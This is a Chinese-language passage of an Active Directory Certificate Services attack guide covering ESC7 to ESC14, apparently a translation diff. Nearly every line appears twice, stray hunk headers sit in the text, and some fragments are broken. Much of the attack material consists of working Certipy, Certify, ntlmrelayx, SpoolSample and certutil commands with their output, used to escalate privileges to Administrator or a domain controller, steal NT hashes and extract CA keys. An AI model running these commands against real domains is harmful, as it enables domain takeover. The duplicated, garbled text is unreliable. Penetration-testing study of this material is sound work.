该技术基于这样的事实:具有 `Manage CA` _和_ `Manage Certificates` 访问权限的用户可以**提交失败的证书请求**。证书模板 **`SubCA`** **易受 ESC1 影响**,但**只有管理员**可以在该模板上进行注册。因此,**用户**可以**请求**在 **`SubCA`** 上注册——该请求会被**拒绝**——但随后会由**管理员****签发**
#### Abuse
#### 滥用
你可以通过将你的用户添加为新的 officer 来**grant yourself the `Manage Certificates`** 访问权限。
你可以通过将你的用户添加为新的 officer 来**授予自己 `Manage Certificates`** 访问权限。
```bash
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'John' on 'corp-DC-CA'
```
**`SubCA`** 模板可以使用 `-enable-template` 参数**在 CA 上启用**。默认情况下,`SubCA` 模板已启用
**`SubCA`** 模板可以使用 `-enable-template` 参数**在 CA 上启用**。默认情况下,`SubCA` 模板是启用的
```bash
# List templates
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
@ -302,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
```
如果我们已满足此攻击的先决条件,我们可以开始通过**请求基于 `SubCA` 模板的证书**。
如果我们已满足此攻击的先决条件,我们可以开始通过 **请求基于 `SubCA` 模板的证书**
**这个请求将被拒绝**但我们会保存 private key 并记录 request ID。
**该请求将被拒绝**d, 但我们会保存 private key 并记录 request ID。
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -316,14 +316,14 @@ Would you like to save the private key? (y/N) y
[*] Saved private key to 785.key
[-] Failed to request certificate
```
有了我们的 **`Manage CA` and `Manage Certificates`** 权限后,我们可以使用 `ca` 命令和 `-issue-request <request ID>` 参数来 **签发失败的证书请求**。
借助我们的 **`Manage CA``Manage Certificates`**,我们可以使用 `ca` 命令及 `-issue-request <request ID>` 参数来 **签发失败的证书** 请求
```bash
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
```
最后,我们可以使用 `req` 命令和 `-retrieve <request ID>` 参数**检索已签发的证书**。
最后,我们可以使用 `req` 命令和 `-retrieve <request ID>` 参数**检索已签发的证书**。
```bash
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -335,69 +335,67 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
[*] Loaded private key from '785.key'
[*] Saved certificate and private key to 'administrator.pfx'
```
### 攻击 3 Manage Certificates 扩展滥用 (SetExtension)
### 攻击 3 Manage Certificates Extension Abuse (SetExtension)
#### 解释
除了传统的 ESC7 滥用(启用 EDITF 属性或批准挂起的请求)之外,**Certify 2.0** 还揭示了一个全新的原语,仅需在 Enterprise CA 上拥有 *Manage Certificates*(又名 **Certificate Manager / Officer**)角色。
除了经典的 ESC7 滥用(启用 EDITF 属性或批准挂起请求)之外,**Certify 2.0** 揭示了一个全新的原语,只需要 Enterprise CA 上的 *Manage Certificates*(亦称 **Certificate Manager / Officer**)角色。
任何持有 *Manage Certificates* 的主体都可以执行 `ICertAdmin::SetExtension` RPC 方法。虽然该方法传统上由合法 CA 用于更新**挂起**请求上的扩展,但攻击者可以滥用它来**将一个*非默认*的证书扩展**(例如自定义的 *Certificate Issuance Policy* OID`1.1.1.1`)附加到等待审批的请求上。
`ICertAdmin::SetExtension` RPC 方法可以由任何持有 *Manage Certificates* 的主体执行。虽然该方法传统上由合法 CA 用于更新**挂起**请求上的扩展,但攻击者可以滥用它,将一个**非默认**证书扩展(例如自定义的 *Certificate Issuance Policy* OID比如 `1.1.1.1`)追加到等待批准的请求上。
因为目标模板**未为该扩展定义默认值**CA 在签发请求时不会覆盖攻击者控制的值。结果证书因此包含攻击者选择的扩展,该扩展可能会
由于目标模板**没有为该扩展定义默认值**当请求最终颁发时CA 不会覆盖攻击者控制的值。因此生成的证书包含攻击者选择的扩展,该扩展可能
* 满足其他易受攻击模板的 Application / Issuance Policy 要求(导致权限提升)。
* 注入额外的 EKU 或策略,使证书在第三方系统中获得意外的信任。
* 满足其他易受影响模板的 Application / Issuance Policy 要求(导致权限提升)。
* 注入额外的 EKUs 或策略,使证书在第三方系统中获得意外的信任。
简而言之,先前被认为是 ESC7 “较弱” 一半的 *Manage Certificates*现在可以在不修改 CA 配置或不需要更严格的 *Manage CA* 权限的情况下,被用于完整的权限提升或长期持久化。
简而言之,*Manage Certificates* —— 之前被认为是 ESC7 中“较弱”的一半 —— 现在可以在不修改 CA 配置或不需要更严格的 *Manage CA* 权限的情况下,被用于完整的权限提升或长期持久化。
#### 使用 Certify 2.0 滥用该原语
1. **提交一个会保持为 *pending* 的证书请求。** 可以使用需要管理者批准的模板强制保持挂起
1. **提交一个会保持为 *pending* 的证书请求。** 可以通过需要管理员批准的模板强制实现
```powershell
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
# Take note of the returned Request ID
```
2. 使用新的 `manage-ca` 命令**向挂起请求附加自定义扩展**
2. 使用新的 `manage-ca` 命令**将自定义扩展追加到挂起的请求**
```powershell
Certify.exe manage-ca --ca SERVER\\CA-NAME \
--request-id 1337 \
--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID
```
*如果模板尚未定义 *Certificate Issuance Policies* 扩展,上述值在发后将被保留。*
*如果模板尚未定义 *Certificate Issuance Policies* 扩展,上述值在发后将被保留。*
3. **签发请求**(如果你的角色也具有 *Manage Certificates* 的批准权限)或等待操作员批准。签发后,下载证书:
3. **颁发该请求**(如果你的角色也有 *Manage Certificates* 的批准权限)或等待操作员批准。一旦颁发,下载证书:
```powershell
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
```
4. 生成的证书现在包含恶意的 issuance-policy OID可在后续攻击中使用(例如 ESC13、域权限提升等
4. 生成的证书现在包含恶意的 issuance-policy OID并可用于后续攻击(例如 ESC13、域权限提升等
> NOTE: 通过 `ca` 命令和 `-set-extension` 参数Certipy ≥ 4.7 也能执行相同攻击
> 注意:相同的攻击也可以通过 Certipy ≥ 4.7 使用 `ca` 命令和 `-set-extension` 参数执行。
## NTLM 中继到 AD CS HTTP 端点 ESC8
## NTLM Relay 到 AD CS HTTP 端点 ESC8
### 解释
> [!TIP]
> 在 **AD CS 已安装** 的环境中,如果存在**易受攻击的 web enrollment endpoint**,并且至少发布了一个允许**域计算机注册和客户端身份验证**的**证书模板**(例如默认的 **`Machine`** 模板),那么 **任何启用 spooler 服务的计算机都可能被攻击者攻陷**
> 在已安装 **AD CS** 的环境中,如果存在一个**易受攻击的 web enrollment endpoint**,并且至少发布了一个允许**域计算机注册和客户端认证**(例如默认的 **`Machine`** 模板)的**certificate template**,那么**任何启用 spooler 服务的计算机都可能被攻击者攻破**
AD CS 支持多种基于 HTTP 的注册方法,这些方法通过管理员可能安装的额外服务器角色提供。用于 HTTP 注册的这些接口容易受到 **NTLM relay** 攻击。攻击者在**已被攻陷的机器上**,可以冒充任何通过入站 NTLM 进行身份验证的 AD 帐户。在冒充受害者帐户期间,攻击者可以访问这些 Web 接口以**使用 `User``Machine` 证书模板请求客户端身份验证证书**
AD CS 支持若干 **HTTP-based enrollment methods**,通过管理员可能安装的额外服务器角色提供。这些基于 HTTP 的证书注册接口容易受到 **NTLM relay attacks**。攻击者可以从 **被攻陷的机器** 模拟任何通过入站 NTLM 进行身份验证的 AD 帐户。在模拟受害者帐户期间,攻击者可以访问这些 web 接口,使用 `User``Machine` certificate templates **请求客户端认证证书**
- **web enrollment interface**一个较旧的 ASP 应用,位于 `http://<caserver>/certsrv/`)默认仅使用 HTTP不提供对 NTLM relay 攻击的保护。此外,它通过其 Authorization HTTP 头显式只允许 NTLM 身份验证,使更安全的身份验证方法(如 Kerberos无法使用。
- **Certificate Enrollment Service** (CES)、**Certificate Enrollment Policy** (CEP) Web Service 和 **Network Device Enrollment Service** (NDES) 默认通过它们的 Authorization HTTP 头支持 negotiate 身份验证。Negotiate 身份验证**同时支持** Kerberos 和 **NTLM**,允许攻击者在中继攻击期间**降级到 NTLM** 身份验证。尽管这些 Web 服务默认启用 HTTPS但仅有 HTTPS **并不能防止 NTLM relay 攻击**。对 HTTPS 服务免受 NTLM relay 攻击的保护仅在 HTTPS 与 channel binding 结合时才可行。遗憾的是AD CS 并未在 IIS 上启用 Extended Protection for Authentication这对于 channel binding 是必的。
- **web enrollment interface**较旧的 ASP 应用,可在 `http://<caserver>/certsrv/` 访问)默认仅使用 HTTP这不会防御 NTLM relay attacks。此外它通过其 Authorization HTTP header 明确只允许 NTLM 验证,使得更安全的验证方法(如 Kerberos无法使用。
- **Certificate Enrollment Service** (CES)、**Certificate Enrollment Policy** (CEP) Web Service 和 **Network Device Enrollment Service** (NDES) 默认通过其 Authorization HTTP header 支持 negotiate 验证。negotiate 验证**同时支持** Kerberos 和 **NTLM**,允许攻击者在中继攻击中**降级到 NTLM** 验证。尽管这些 web 服务默认启用 HTTPS但单独的 HTTPS **无法防止 NTLM relay attacks**。只有当 HTTPS 与 channel binding 结合时HTTPS 服务才能免受 NTLM relay attacks 的影响。不幸的是AD CS 并未在 IIS 上启用 Extended Protection for Authentication这对于 channel binding 是必的。
NTLM relay 攻击的一个常见问题是 NTLM 会话的**短时效性**以及攻击者无法与要求 **NTLM signing** 的服务交互的限制。
不过,这一限制可以通过利用 NTLM relay 攻击获取用户的证书来克服,因为证书的有效期决定了会话的持续时间,并且证书可以用于要求 **NTLM signing** 的服务。有关如何使用被窃取证书的说明,请参见:
NTLM relay attacks 的一个常见问题是 NTLM 会话的**持续时间短**,以及攻击者无法与**要求 NTLM signing**的服务进行交互。
然而,这一限制可以通过利用 NTLM relay 攻击为用户获取一个证书来克服,因为证书的有效期决定了会话的持续时间,且该证书可用于需要 **NTLM signing** 的服务。有关如何使用被窃取证书的说明,请参见:
{{#ref}}
account-persistence.md
{{#endref}}
NTLM relay 攻击的另一个限制是 **必须由受害帐户对攻击者控制的机器进行身份验证**。攻击者可以选择等待或尝试**强制**该身份验证:
NTLM relay attacks 的另一个限制是 **攻击者控制的机器必须被受害者帐户认证**。攻击者可以选择等待或尝试**强制**该认证:
{{#ref}}
../printers-spooler-service-abuse.md
@ -405,7 +403,7 @@ NTLM relay 攻击的另一个限制是 **必须由受害帐户对攻击者控制
### **滥用**
[**Certify**](https://github.com/GhostPack/Certify)`cas` 枚举 **已启用的 HTTP AD CS 端点**
[**Certify**](https://github.com/GhostPack/Certify)s `cas` 枚举 **enabled HTTP AD CS endpoints**:
```
Certify.exe cas
```
@ -437,11 +435,11 @@ proxychains ntlmrelayx.py -t http://<AC Server IP>/certsrv/certfnsh.asp -smb2sup
# Force authentication from victim to compromised machine with port forwards
execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe <victim> <compromised>
```
#### 使用 [Certipy](https://github.com/ly4k/Certipy) 进行滥用
#### Abuse with [Certipy](https://github.com/ly4k/Certipy)
默认情况下Certipy 会基于模板 `Machine``User` 发起证书请求,这取决于被中继的账号名是否以 `$` 结尾。可以通过使用 `-template` 参数来指定其他模板。
默认情况下Certipy 会基于模板 `Machine``User` 发起证书请求,具体取决于被中继的账户名是否以 `$` 结尾。可以通过使用 `-template` 参数来指定替代模板。
随后可以使用诸如 [PetitPotam](https://github.com/ly4k/PetitPotam) 的技术来强制认证。针对域控制器时,需要指定 `-template DomainController`
随后可以使用像 [PetitPotam](https://github.com/ly4k/PetitPotam) 这样的技术来强制进行身份验证。针对域控制器,需要指定 `-template DomainController`
```bash
certipy relay -ca ca.corp.local
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -458,40 +456,40 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
### 解释
新的值 **`CT_FLAG_NO_SECURITY_EXTENSION`**`0x80000`)用于 **`msPKI-Enrollment-Flag`**,称为 ESC9可防止在证书中嵌入新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展。 `StrongCertificateBindingEnforcement` 设置为 `1`(默认设置)时,该标志变得相关,这与设置为 `2` 的情况形成对比。 在可能被利用以针对 Kerberos 或 Schannel 的较弱证书映射(如 ESC10进行攻击的场景中,其重要性更高,因为缺少 ESC9 并不会改变这些要求。
新的值 **`CT_FLAG_NO_SECURITY_EXTENSION`**`0x80000`)用于 **`msPKI-Enrollment-Flag`**,称为 ESC9止在证书中嵌入新的 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展。当 `StrongCertificateBindingEnforcement` 设置为 `1`(默认)时,该标志变得相关,这与设置为 `2` 相反。在可能被利用的较弱证书映射用于 Kerberos 或 Schannel 的情形(如 ESC10中,其重要性更高,因为缺少 ESC9 并不会改变这些要求。
使该标志设置变得重要的条件包括:
标志设置变得重要的条件包括:
- `StrongCertificateBindingEnforcement`设置为 `2`(默认是 `1`),或 `CertificateMappingMethods` 包含 `UPN` 标志。
- 证书在 `msPKI-Enrollment-Flag` 设置中被标`CT_FLAG_NO_SECURITY_EXTENSION` 标志。
- 证书指定了任何用于客户端认证的 EKU。
- 对任意账户具有 `GenericWrite` 权限以入侵另一账户。
- `StrongCertificateBindingEnforcement` 未设置为 `2`(默认是 `1`),或 `CertificateMappingMethods` 包含 `UPN` 标志。
- 证书在 `msPKI-Enrollment-Flag` 设置中被标`CT_FLAG_NO_SECURITY_EXTENSION` 标志。
- 证书指定了任意 client authentication EKU。
- `GenericWrite` 权限可用于对任意账户执行写入来危及另一个账户。
### 滥用场景
假设 `John@corp.local``Jane@corp.local` 拥有 `GenericWrite` 权限,目标是攻破 `Administrator@corp.local``ESC9` 证书模板(`Jane@corp.local` 被允许注册的)在其 `msPKI-Enrollment-Flag` 设置中配置了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
假设 `John@corp.local``Jane@corp.local` 拥有 `GenericWrite` 权限,目标是入侵 `Administrator@corp.local``Jane@corp.local` 被允许登记的 `ESC9` 证书模板,在其 `msPKI-Enrollment-Flag` 设置中配置了 `CT_FLAG_NO_SECURITY_EXTENSION` 标志。
最初,借助 `John``GenericWrite`通过 Shadow Credentials 获取了 `Jane` 的 hash
最初,借助 `John``GenericWrite`使用 Shadow Credentials 获取了 `Jane` 的 hash
```bash
certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane
```
随后,`Jane``userPrincipalName`被修改为`Administrator`,故意省略了`@corp.local`域部分:
随后,`Jane``userPrincipalName` 被修改为 `Administrator`,故意省略 `@corp.local` 域部分:
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
该修改并不违反约束,因为 `Administrator@corp.local` 仍然作为 `Administrator``userPrincipalName` 保持唯一性
鉴于 `Administrator@corp.local` 仍然作为 `Administrator``userPrincipalName` 保持不变,此修改不违反约束
随后,标记为 vulnerable 的 `ESC9` 证书模板以 `Jane` 的身份被请求:
随后,标记为易受攻击的证书模板 `ESC9` 被以 `Jane` 的身份请求:
```bash
certipy req -username jane@corp.local -hashes <hash> -ca corp-DC-CA -template ESC9
```
注意到证书的 `userPrincipalName` 显示为 `Administrator`没有任何 “object SID”。
注意到证书的 `userPrincipalName` 显示为 `Administrator`,没有任何 “object SID”。
`Jane``userPrincipalName` 随后被还原为她原始`Jane@corp.local`
`Jane``userPrincipalName` 随后被恢复为她原来`Jane@corp.local`
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
现在使用颁发的证书尝试进行身份验证会返回 `Administrator@corp.local` 的 NT 哈希。由于该证书未指定域,命令必须包含 `-domain <domain>`
使用已签发的证书尝试进行身份验证现在会返回 `Administrator@corp.local` 的 NT hash。由于证书未指定域,命令必须包含 `-domain <domain>`
```bash
certipy auth -pfx adminitrator.pfx -domain corp.local
```
@ -501,32 +499,32 @@ certipy auth -pfx adminitrator.pfx -domain corp.local
ESC10 涉及域控制器上的两个注册表键值:
- The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`.
- The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`.
- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` 下,`CertificateMappingMethods` 的默认值为 `0x18` (`0x8 | 0x10`),先前为 `0x1F`
- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` 下,`StrongCertificateBindingEnforcement` 的默认设置为 `1`,先前为 `0`
### 情况 1
**情形 1**
`StrongCertificateBindingEnforcement` 配置为 `0`
`StrongCertificateBindingEnforcement` 配置为 `0`
### 情况 2
**情形 2**
如果 `CertificateMappingMethods` 包含 `UPN` 位 (`0x4`)。
### 滥用案例 1
### 滥用情形 1
`StrongCertificateBindingEnforcement` 配置为 `0` 时,具有 `GenericWrite` 权限的账户 A 可以被利用来入侵任意账户 B。
`StrongCertificateBindingEnforcement` 配置为 `0` 时,具有 `GenericWrite` 权限的账户 A 可以被利用来攻破任意账户 B。
例如,若对 `Jane@corp.local` 拥有 `GenericWrite` 权限,攻击者的目标是入侵 `Administrator@corp.local`。该流程类似于 ESC9,允许使用任意证书模板。
例如,攻击者对 `Jane@corp.local` 拥有 `GenericWrite` 权限,目标是攻破 `Administrator@corp.local`。该过程与 ESC9 类似,允许使用任意证书模板。
最初,通过 Shadow Credentials 利用 `GenericWrite`获取 `Jane` 的哈希。
首先,利用 `GenericWrite`,通过 Shadow Credentials 获取 `Jane` 的哈希。
```bash
certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane
```
随后,`Jane``userPrincipalName` 更改为 `Administrator`,故意省略 `@corp.local` 部分以避免触发约束冲突
随后,`Jane``userPrincipalName` 更改为 `Administrator`,故意省略 `@corp.local` 部分以避免违反约束
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator
```
随后,以 `Jane` 身份请求了一个启用客户端身份验证的证书,使用默认的 `User` 模板
随后,以 `Jane` 的身份使用默认的 `User` 模板请求了一个启用客户端身份验证的证书
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
@ -534,15 +532,15 @@ certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local
```
使用获取的证书进行身份验证将会得到 `Administrator@corp.local` 的 NT hash由于证书中没有域信息必须在命令中指定域。
使用获取到的证书进行认证将会得到 `Administrator@corp.local` 的 NT hash由于证书中没有域信息因此在命令中需要指定域。
```bash
certipy auth -pfx administrator.pfx -domain corp.local
```
### 滥用案例 2
`CertificateMappingMethods` 包含 `UPN` 位标志 (`0x4`) 时,具有 `GenericWrite` 权限的账户 A 可以危及任何缺少 `userPrincipalName` 属性的账户 B包括计算机账户和内置域管理员 `Administrator`
如果 `CertificateMappingMethods` 包含 `UPN` 位标志(`0x4`),则具有 `GenericWrite` 权限的帐户 A 可以妥协任何缺少 `userPrincipalName` 属性的帐户 B包括机器帐户和内置域管理员 `Administrator`
,目标是妥协 `DC$@corp.local`,首先通过 Shadow Credentials 获取 `Jane` 的哈希,利用 `GenericWrite`
这里,目标是妥协 `DC$@corp.local`,首先通过 Shadow Credentials 获取 `Jane` 的哈希,利用 `GenericWrite`
```bash
certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```
@ -550,11 +548,11 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local'
```
默认 `User` 模板,以 `Jane` 身份请求用于客户端认证的证书。
`Jane` 的身份,使用默认的 `User` 模板请求了一个用于客户端身份验证的证书。
```bash
certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes <hash>
```
`Jane``userPrincipalName`在此过程之后会恢复为原始值。
在此过程之后,`Jane``userPrincipalName` 会恢复为原始值。
```bash
certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local'
```
@ -562,19 +560,19 @@ certipy account update -username John@corp.local -password Passw0rd! -user Jane
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
通过 LDAP shell`set_rbcd` 这样的命令可以启用 Resource-Based Constrained Delegation (RBCD) 攻击,可能危及域控制器
通过 LDAP shell`set_rbcd` 这样的命令可用于发起 Resource-Based Constrained Delegation (RBCD) 攻击,可能导致 domain controller 被妥协
```bash
certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell
```
该漏洞同样影响任何缺少 `userPrincipalName` 的用户帐户,或 `userPrincipalName``sAMAccountName` 不匹配的帐户。默认的 `Administrator@corp.local` 是主要目标,因为它具有较高的 LDAP 权限并且默认没有 `userPrincipalName`
这个漏洞同样影响任何缺少 `userPrincipalName` 或其与 `sAMAccountName` 不匹配的用户账户,默认的 `Administrator@corp.local` 是主要目标之一,因为它具有较高的 LDAP 权限,并且默认缺少 `userPrincipalName`
## Relaying NTLM to ICPR - ESC11
## 将 NTLM 中继到 ICPR - ESC11
### 说明
如果 CA Server 未配置 `IF_ENFORCEENCRYPTICERTREQUEST`,则可以通过 RPC 服务进行未签名的 NTLM relay attacks。 [参考](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/)
如果 CA Server 未配置 `IF_ENFORCEENCRYPTICERTREQUEST`,则可以通过 RPC 服务在不进行签名的情况下发动 NTLM 中继攻击。 [参考](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/).
你可以使用 `certipy` 枚举 `Enforce Encryption for Requests` 是否被禁用certipy 显示 `ESC11` 漏洞。
你可以使用 `certipy` 枚举 `Enforce Encryption for Requests` 是否被禁用certipy 显示 `ESC11` 漏洞。
```bash
$ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout
Certipy v4.0.0 - by Oliver Lyak (ly4k)
@ -593,7 +591,7 @@ ESC11 : Encryption is not enforced for ICPR requests
```
### 滥用场景
需要设置一个中继服务器:
需要搭建一个中继服务器:
```bash
$ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100
Certipy v4.7.0 - by Oliver Lyak (ly4k)
@ -618,21 +616,21 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k)
```bash
$ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support
```
## Shell access to ADCS CA with YubiHSM - ESC12
## 使用 YubiHSM 获取对 ADCS CA 的 shell 访问 - ESC12
### 说明
管理员可以将证书颁发机构配置为将密钥存储在外部设备上,例如 "Yubico YubiHSM2"。
管理员可以将证书颁发机构Certificate AuthorityCA配置为将其私钥存放在外部设备上,例如 "Yubico YubiHSM2"。
如果 USB 设备通过 USB 端口连接到 CA 服务器,或者当 CA 服务器是虚拟机时通过 USB 设备服务器连接Key Storage Provider 需要一个认证密钥(有时称为 “password”来在 YubiHSM 中生成和使用密钥
如果 USB 设备通过 USB 端口连接到 CA 服务器,或在 CA 服务器为虚拟机时通过 USB device server 连接Key Storage Provider 在生成并使用 YubiHSM 中的密钥时需要一个认证密钥(有时称为 "password"
该密钥/密码以明文存储在注册表的 `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` 下。
该密钥/密码以明文形式存储在注册表的 `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` 下。
Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm).
### 滥用场景
如果 CA 的私钥存储在物理 USB 设备上,而你获得了 shell 访问,则有可能恢复该密钥。
如果 CA 的私钥存储在物理 USB 设备上,而你获得了对服务器的 shell 访问,则有可能恢复该私钥。
首先,你需要获取 CA 证书(这是公开的),然后:
```cmd
@ -642,17 +640,17 @@ $ certutil -addstore -user my <CA certificate file>
# Associated with the private key in the YubiHSM2 device
$ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
```
最后,使用 certutil `-sign` 命令利用 CA 证书及其私钥伪造一个新的任意证书。
最后,使用 certutil `-sign` 命令,使用 CA 证书及其私钥伪造一个任意的新证书。
## OID Group Link Abuse - ESC13
### 解释
`msPKI-Certificate-Policy` 属性允许将颁发策略添加到证书模板。负责颁发策略的 `msPKI-Enterprise-Oid` 对象可以在 PKI OID 容器的 Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) 中发现。策略可以使用该对象的 `msDS-OIDToGroupLink` 属性链接到一个 AD 组,从而使系统在用户出示该证书时,将该用户授权为该组的成员。 [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
`msPKI-Certificate-Policy` 属性允许将颁发策略添加到证书模板。负责颁发策略的 `msPKI-Enterprise-Oid` 对象可以在 PKI OID 容器的 Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) 中发现。可以使用该对象的 `msDS-OIDToGroupLink` 属性将策略链接到 AD 组,从而使系统在用户出示该证书时将其授权为该组的成员。 [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53).
换句话说,当用户有权限为证书进行注册enroll且证书与一个 OID 组关联时,用户可以继承该组的权限。
换句话说,当用户有权限注册/申请证书且该证书链接到一个 OID group 时,该用户可以继承该组的权限。
使用 [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) 查找 OIDToGroupLink:
使用 [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) 查找 OIDToGroupLink:
```bash
Enumerating OIDs
------------------------
@ -676,47 +674,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local
```
### 滥用场景
找到用户权限,可以使用 `certipy find``Certify.exe find /showAllPermissions`
查找一个用户权限,可以使用 `certipy find``Certify.exe find /showAllPermissions`
如果 `John` 有权限为模板 `VulnerableTemplate` 登记enroll,该用户可以继承 `VulnerableGroup` 组的权限。
如果 `John` 有权限注册 `VulnerableTemplate`,该用户可以继承 `VulnerableGroup` 组的权限。
所需做的只是指定该模板,便会得到一个具有 OIDToGroupLink 权限的证书。
所需做的只是指定该模板,它就会获得一个具有 OIDToGroupLink 权限的证书。
```bash
certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate'
```
## 易受攻击的证书更新配置 - ESC14
## 易受攻击的证书续期配置 - ESC14
### 说明
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping 上的描述非常详尽。下面是原文的引用。
https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping 的描述非常详尽。以下为原文引用。
ESC14 处理由“弱显式证书映射”引起的漏洞,主要通过对 Active Directory 用户或计算机帐户上的 `altSecurityIdentities` 属性的误用或不安全配置。该多值属性允许管理员手动将 X.509 证书与 AD 帐户关联以用于身份验证。当填充时,这些显式映射可以覆盖默认的证书映射逻辑(通常依赖于证书 SAN 中的 UPN 或 DNS 名称,或嵌入在 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展中的 SID
ESC14 处理源自“弱显式证书映射”的漏洞,主要通过对 Active Directory (AD) 用户或计算机帐户上的 `altSecurityIdentities` 属性的误用或不安全配置产生。这个多值属性允许管理员手动将 X.509 证书与 AD 帐户关联以用于身份验证。填充了显式映射后,这些映射可以覆盖默认的证书映射逻辑,默认逻辑通常依赖于证书 SAN 中的 UPN 或 DNS 名称,或嵌入在 `szOID_NTDS_CA_SECURITY_EXT` 安全扩展中的 SID。
“弱”映射发生在用于在 `altSecurityIdentities` 属性中标识证书的字符串值过于宽泛、易猜测、依赖非唯一证书字段或使用易被伪造的证书组件时。如果攻击者能够获得或伪造一个其属性匹配对特权帐户的这种弱定义显式映射的证书,就可以使用该证书进行身份验证并冒充该帐户。
“弱”映射发生在 `altSecurityIdentities` 属性中用于标识证书的字符串值过于宽泛、易猜测、依赖非唯一证书字段或使用易被伪造的证书组件时。如果攻击者能获得或伪造一个其属性匹配该特权帐户的弱定义显式映射的证书,就可以使用该证书进行身份验证并冒充该帐户。
可能弱的 `altSecurityIdentities` 映射字符串示例包括:
潜在的弱 `altSecurityIdentities` 映射字符串示例包括:
- 仅按常见 Subject Common Name (CN) 映射:例如 `X509:<S>CN=SomeUser`。攻击者可能能够从较不安全的来源获取具有该 CN 的证书。
- 使用过于通用的 Issuer Distinguished Names (DNs) 或 Subject DNs 而没有进一步限定(例如特定的序列号或 subject key identifier例如 `X509:<I>CN=SomeInternalCA<S>CN=GenericUser`
- 使用其他可预测的模式或非加密标识符,攻击者可能能够在他们合法获取或伪造的证书中满足这些要求(如果他们已攻破 CA 或发现像 ESC1 中那样的脆弱模板)。
- 仅通过常见的 Subject Common Name (CN) 进行映射:例如,`X509:<S>CN=SomeUser`。攻击者可能能从较不安全的来源获得具有该 CN 的证书。
- 使用过于通用的 Issuer Distinguished Names (DNs) 或 Subject DNs,而没有进一步限定(例如特定的序列号或 subject key identifier例如`X509:<I>CN=SomeInternalCA<S>CN=GenericUser`
- 使用其他可预测的模式或非加密标识符,攻击者可能能够在合法获取或伪造的证书中满足这些条件(例如当他们已妥协 CA 或发现如 ESC1 中的易受攻击模板时)。
